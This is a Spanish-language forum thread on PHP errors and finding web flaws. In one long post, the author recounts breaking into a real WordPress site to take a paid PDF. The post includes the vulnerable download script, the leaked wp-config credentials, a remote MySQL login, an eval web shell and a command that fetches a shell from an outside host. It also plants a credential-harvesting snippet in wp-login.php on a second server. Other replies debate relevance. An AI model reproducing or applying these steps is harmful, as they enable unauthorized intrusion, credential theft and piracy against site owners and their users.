Un error de PHP no indica que una web es vulnerable, pero si se provoca el error de forma concierte puede indicar que la web es vulnerable como en el caso de SQLI. Pero en lo personal, la peor forma de buscar vulnerabilidades es a partir de provocaciones de error, porque simplemente no sabe lo que hace.

La mejor formar, es saber qué por si solo un código PHP no se vulnera/explota así mismo, el problema viene cuando el sistema necesita utilizar información dada por el usuario, entonce hay que verificar hacia donde va la información, en que parte se utilizas y cuando conozcas hacia donde va y como utiliza la información, y sepas como funciona todo, tendrás que pensar en alguna forma de manipular la información, de forma que realice una acción que desees.

Para esto no vale que sepas SQLI, LFI, RFI, XSS o hagas una lista de todas las vulnerabilidades que conoces y la vayas descartando cada una. Aqui vale la logica y mientra mejor sea tu nivel de programación, mas rápido detectaras errores lógicos que puedas aprovecharte y vale mucho los trucos que sepas.

---

Por ejemplo, hace como 1 mes estaba navegando por internet, buscando un tipo de información especifica (nada de programación, hacking ni nada similar, algo personal), encontré una pagina muy buena, que vendía un material en PDF. Me puse a navegar, a ver si encuentro el archivo por hay y nada. Entonce opte por ingresar a su servidor y bajarme el archivo PDF directamente.

La web estaba en wordpress. Revisando los post, encontré un post que hacia una descarga directa a un archivo que tenia de muestra, este archivo tenia un parámetro, que se utilizaba para descargar un archivo especifico y bueno, le quite el parametro de forma que quede el archivo solo: web.com/archivo.php y me hizo una descarga directa al archivo.php y bueno este es el codigo del archivo.php.

<?php
    $f = $_GET["f"];
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"$f\"\n");
    $fp=fopen("$f", "r");
    fpassthru($fp);
?>

Como el sistema que utilizaba era wordpress, descarge el archivo wp-config.php con la idea de conectarme remotamente por MYSQL, recordando que el archivo.php, se encontraba en la raiz del servidor y el archivo wp-config.php tambien se encuentra en la raiz, solo debi pasar el parámetro del archivo wp-config.php

web.com/archivo.php?f=wp-config.php

Descarge el archivo wp-config.php

// ** Ajustes de MySQL. Solicita estos datos a tu proveedor de alojamiento web. ** //
/** El nombre de tu base de datos de WordPress */
define('DB_NAME', 'wp_sys');
 
/** Tu nombre de usuario de MySQL */
define('DB_USER', 'user_bd');
 
/** Tu contraseña de MySQL */
define('DB_PASSWORD', 'MysqlPass');
 
/** Host de MySQL (es muy probable que no necesites cambiarlo) */
define('DB_HOST', 'localhost');
 

Luego me conecte de forma remota a la base de datos MYSQL, primero que nada le hice un ping a la web para conocer su IP para así pasarle el parámetro.

yoya@Debian:~$ mysql -h 182.94.110.121 --user=user_bd --password=MysqlPass
Welcome TO the MySQL monitor.  Commands END WITH ; OR \g.
Your MySQL connection id IS 1125935
Server version: 5.1.38-log SOURCE distribution
 
Copyright (c) 2000, 2011, Oracle AND/OR its affiliates. ALL rights reserved.
 
Oracle IS a registered trademark OF Oracle Corporation AND/OR its
affiliates. Other names may be trademarks OF their respective
owners.
 
TYPE 'help;' OR '\h' FOR help. TYPE '\c' TO clear the CURRENT INPUT statement.
 
mysql> USE wp_sys;
DATABASE changed
mysql> SHOW TABLES;
+-----------------------+
| Tables_in_wp_sys      |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_snews_members      |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 ROWS IN SET (0.18 sec)
 
mysql> 

Bueno luego cambie la password del admin, por el mio para poder entrar a la administración y subir shell. Recordando que wordpress, utiliza phpass, el password que utilice debe ser un password phpass para que funcione.

Lo cambie y todo, entre al sistema de administración de WordPress, me fui al lado de los plugins y había un editor de archivo y le agregue esta linea

<?php eval($_GET['e']); ?>

.

Y bueno ahora subi la SHELL.

web.com/wp-plugin/pluginNAME/file.php?e=file_put_contents('shell.php',file_get_contents('http://www.example.com/shell.txt'));

Y bueno ahora solo queda ir a la dirección de la SHELL que seria:


Y bueno ya tenia la shell en el servidor, pero me fije que el archivo no se encontraba en ese servidor sino en otro que tenia, en ese otro servidor tenia otros documentos para vender, y el otro servidor usa WordPress y de casualidad tiene el mismo archivo de descarga en el mismo lugar.

Hice lo mismo paso de arriba pero con la diferencia, en que no me permite la conexión MYSQL remotamente.

Luego se me ocurrió probar entrar a la administración con el mismo pass que utiliza el administrador en su primera web (en la que pude subir shell), y bueno se me ocurrió capturar su password en texto plano, así no tengo que descifrar sus el hash generado por phpass y ahorrarme muchísimo tiempo.

Agregue esta linea al archivo wp-login.php

<?php
if(!empty($_POST['wp-submit']) && !empty($_POST['log']) && !empty($_POST['pwd'])) {
 
    if($_POST['wp-submit'] == 'Acceder') {
 
    $f = fopen('wp.txt',"a");
     fputs($f, $_POST['log'].':'.$_POST['pwd']."\n");
 
    fclose($f);
}}
?> 

Cada vez que alguien intente loguearse, capturare su usuario y password y creare un archivo wp.txt con su user y pass, para luego revisarlo, la estructura del archivo wp.txt es la siguiente:


He hecho unos testeo haber si todo marcha a la perfeccion y si, todo va bien pero todavia no he capturado su usuario y pass pero el ha posteado varias veces. Supongo que es porque la primera vez que se logueo le dio a recordar y por eso no ha tenido que ingresar su usuario y password, o puede ser que al introducir datos correctos, no llegue a pasar por esa linea de codigo y por lo tanto nunca llega a guardar su usuario y password. Luego tendre que hacer unas pruebas, haber porque solo me captura el usuario y password cuando me intento loguear con datos incorrecto.

Saludos.

fxf

Claro hay muchísimos ataques que se basan en errores, pero estas hablando en general, en este caso nos referimos a errores de programación a nivel web y mayormente los errores que se provocan al nivel web son errores de sintaxis, las otra parte de errores son bug's en algunas funciones que hacen que provoquen error.

En este tema abarca, lenguajes que se ejecutan al lado del cliente como javascript y los del lado del servidor PHP, Python, Perl, Java, etc... Porque si atacamos a los servicios que corren en un servidor ya es otro tema esa.

Si estas buscando vulnerabilidades en un CMS de PHP, como por ejemplo SMF y comienzas a tratar de provocar errores para poder encontrar vulnerabilidades, vas MUY MAL.

Recordando claro que en este tema se hablo sobre error_reporting que es una función de PHP y de SQLI, así que el tema circula sobre PHP.

Saludos.

entonces que pinta la lamerada que describiste, sacaste de contexto la pregunta, para describir un super 'CUACKeo' .

por cierto quien dice que algo esta bien o mal ??, seria logico tratar de ingresar 100 veces como ROOT
a un DBMSMYSQL con la misma contraseña ??, hay muchas cosas que te podria nombrar que pinta para mal, pero al fin  al cabo termina por buen camino .

como dices la pregunta va por la función error_reporting , y creo que es totalmente recomendable tener control absoluto de todos los errores, SEA LO QUE SEA.

 

cuando no hay argumentos,no queda de otra 

Dejando lamereadas de lado (no se por qué me acuerdo de IRC y unos "compañeros" de cierto canal), en mi opinión seguramente existen muchas ocasiones en que un 'how to do' no se apega a los cánones del footprinting de un curso CEH y es necesario ir más allá para comprender totalmente la lógica que siguió el desarrollador de la webapp y así descubrir fallas que no necesariamente se descubrirían por las vías más comunes como serían los errores clásicos que arroje una aplicación, DBMS o servidor. No digo que esto último no sirva, sólo que no siempre muestra todo lo que se puede encontrar si nos metemos de lleno en el código.

Saludos.